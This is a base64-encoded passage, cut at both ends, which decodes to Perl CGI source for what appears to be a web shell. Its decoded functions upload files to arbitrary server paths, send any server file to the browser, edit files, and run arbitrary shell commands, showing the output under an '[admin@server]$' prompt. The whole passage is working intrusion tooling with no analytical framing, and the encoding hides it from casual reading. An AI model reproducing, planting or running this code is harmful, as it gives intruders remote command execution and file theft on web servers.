GVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbXkgJHJlc3VsdCA9ICIiOw0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCQlleGl0KDEpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KCX0NCglteSAkcmVzdWx0PSIiOw0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQ6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KCQkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCg0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCSRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyKTsNCglteSAkcmVzdWx0PSIiOw0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsNCgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQ0KCQkkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsNCgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KCXsNCgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSRyZXN1bHQgLj0mUnVuQ21kOw0KCX0NCgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJ1bkNtZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJfQ0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgl7DQoJCSR8PTE7DQoJCSRDb21tYW5kIC49ICIgfCI7DQoJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCXsNCgkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOw0KCQl9DQoJCSR8PTA7DQoJfQ0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCXsNCgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7DQoJfQ0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KCW15ICRyZXN1bHQgPSIiOw0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7DQoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgPic7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7DQoJaWYoLXcgJEZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7DQoJCSRyb3dzPSIyMCINCgl9DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCSRSdW5Db21tYW5kID0gImVkaXQgJFJ1bkNvbW1hbmQiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCg0KCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJkZpbGVPcGVuKCRGaWxlLDApKTsNCgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7DQoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZpbGUgT3Blbg0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0